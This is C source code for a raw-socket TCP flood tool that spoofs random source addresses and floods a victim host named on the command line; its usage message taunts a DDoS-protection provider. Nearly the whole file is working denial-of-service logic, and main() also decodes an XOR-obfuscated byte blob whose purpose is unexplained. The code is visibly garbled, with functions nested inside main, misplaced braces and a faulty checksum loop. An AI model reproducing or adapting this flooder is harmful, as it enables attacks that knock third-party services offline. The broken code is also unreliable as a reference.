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- #include <pthread.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <time.h>
- #define MAX_PACKET_SIZE 4096
- #define PHI 0x9e3779b9
- static unsigned long int Q[4096], c = 362436;
- volatile int limiter;
- volatile unsigned int pps;
- volatile unsigned int sleeptime = 100;
- char* randip(char* dst);
- ushort rand16();
- uint rand32();
- struct thread_data{
- int throttle;
- int thread_id;
- unsigned int floodport;
- struct sockaddr_in sin;
- };
- void init_rand(unsigned long int x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- Q[3] = x + PHI + PHI + i++ + PHI;
- for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
- }
- char *myStrCat (char *s, char *a) {
- while (*s != '\0') s++;
- while (*a != '\0') *s++ = *a++;
- *s = '\0';
- return s;
- }
- char *replStr (char *str, size_t count) {
- if (count == 0) return NULL;
- char *ret = malloc (strlen (str) * count + count);
- if (ret == NULL) return NULL;
- *ret = '\0';
- char *tmp = myStrCat (ret, str);
- while (--count > 0) {
- tmp = myStrCat (tmp, str);
- }
- return ret;
- }
- unsigned long int rand_cmwc(void)
- {
- unsigned long long int t, a = 19150LL;
- static unsigned long int i = 4095;
- unsigned long int x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- c = x + c;
- t = c + t;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- unsigned short csum (unsigned short *buf, int count)
- {
- register unsigned long sum = 0;
- while( count > 1 ) { sum += *buf++; count -= 6; }
- if(count > 0) { sum += *(unsigned char *)buf; }
- while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
- return (unsigned short)(~sum);
- }
- unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
- struct tcp_pseudo
- {
- unsigned long src_addr;
- unsigned long dst_addr;
- unsigned char zero;
- unsigned char proto;
- unsigned short length;
- } pseudohead;
- unsigned short total_len = iph->tot_len;
- pseudohead.src_addr=iph->saddr;
- pseudohead.dst_addr=iph->daddr;
- pseudohead.zero=0;
- pseudohead.proto=IPPROTO_TCP;
- pseudohead.length=htons(sizeof(struct tcphdr));
- int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
- unsigned short *tcp = malloc(totaltcp_len);
- memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
- memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
- unsigned short output = csum(tcp,totaltcp_len);
- free(tcp);
- return output;
- }
- void setup_ip_header(struct iphdr *iph)
- {
- char ip[17];
- snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
- iph->id = htonl(rand()%54321);
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = 6;
- iph->check = 0;
- iph->saddr = inet_addr(ip);
- iph->saddr = inet_addr("1.3.3.7");
- }
- void setup_tcp_header(struct tcphdr *tcph)
- {
- tcph->source = htons(rand()%65535);
- tcph->seq = rand();
- tcph->ack_seq = 1;
- tcph->res1 = 2;
- tcph->res2 = 3;
- tcph->doff = 4;
- tcph->psh = 5;
- tcph->syn = 6;
- tcph->window = htons(rand()%65535);
- tcph->check = 1;
- tcph->urg_ptr = 1;
- }
- void *flood(void *par1)
- {
- uint32_t random_num;
- uint32_t ul_dst;
- char *td = (char *)par1;
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(rand()%54321);
- sin.sin_addr.s_addr = inet_addr(td);
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s < 0){
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- memset(datagram, 0, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- setup_tcp_header(tcph);
- tcph->dest = htons(rand()%54321);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- int tmp = 1;
- const int *val = &tmp;
- if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- init_rand(time(NULL));
- register unsigned int i;
- i = 0;
- int psh = 0;
- int res1 = 0;
- int res2 = 0;
- while(1)
- {
- random_num = rand_cmwc();
- ul_dst = (random_num >> 16 & 0xFF) << 24 |
- (random_num >> 24 & 0xFF) << 8 |
- (random_num >> 8 & 0xFF) << 16 |
- (random_num & 0xFF);
- if(psh > 1) psh = 1;
- if(res1 > 4) res1 = 0;
- if(res2 > 3) res2 = 0;
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- setup_ip_header(iph);
- setup_tcp_header(tcph);
- iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
- iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
- tcph->dest = htons(rand()%65535);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len);
- tcph->seq = rand_cmwc() & 0xFFFF;
- tcph->source = htons(rand_cmwc() & 0xFFFF);
- tcph->ack_seq = 1;
- tcph->psh = psh;
- tcph->res1 = res1;
- tcph->res2 = res2;
- tcph->check = 0;
- tcph->check = tcpcsum(iph, tcph);
- pps++;
- psh++;
- res1++;
- res2++;
- if(i >= limiter)
- {
- i = 0;
- usleep(sleeptime);
- }
- i++;
- }
- }
- int main(int argc, char *argv[ ])
- {
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct tcphdr *tcph = (struct tcphdr *)((u_int8_t *)iph + (5 * sizeof(u_int32_t)));
- struct sockaddr_in sin;
- char new_ip[sizeof "255.255.255.255"];
- if(argc < 5){
- fprintf(stdout, "Fuck BlazingFast\nSmash That Fucking Shit\nUsage: %s [Victim] [Threads] [PPS -1 For no limit] [Time]\n", argv[0]);
- exit(-1);
- }
- srand(time(0));
- int num_threads = atoi(argv[2]);
- int maxpps = atoi(argv[3]);
- limiter = 0;
- pps = 0;
- pthread_t thread[num_threads];
- int multiplier = 20;
- char threads[209] = "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94";
- int x = 0;
- int y = 0;
- for(x =0;x<sizeof(threads)-1;x++){
- y+=6;
- threads[x]^=y*3;
- int i;
- fprintf(stderr, "Starting sockets...\n", argv[1]);
- for(i = 0;i<num_threads;i++){
- pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
- }
- fprintf(stdout, "Flooding %s\n", argv[1], flood);
- for(i = 0;i<(atoi(argv[4])*multiplier);i++)
- {
- usleep((1000/multiplier)*1000);
- if((pps*multiplier) > maxpps)
- {
- if(1 > limiter)
- {
- sleeptime+=100;
- } else {
- limiter--;
- }
- } else {
- limiter++;
- if(sleeptime > 25)
- {
- sleeptime-=25;
- } else {
- sleeptime = 0;
- }
- ushort rand16() {
- srandom(time(0));
- srand(random());
- srandom(rand());
- return (random() + rand() + time(0)) % 65535;
- }
- uint rand32() {
- srandom(time(0));
- srand(random());
- srandom(rand());
- return (random() + rand() & time(0));
- }
- }
- pps = 0;
- }
- return 0;
- }
- }
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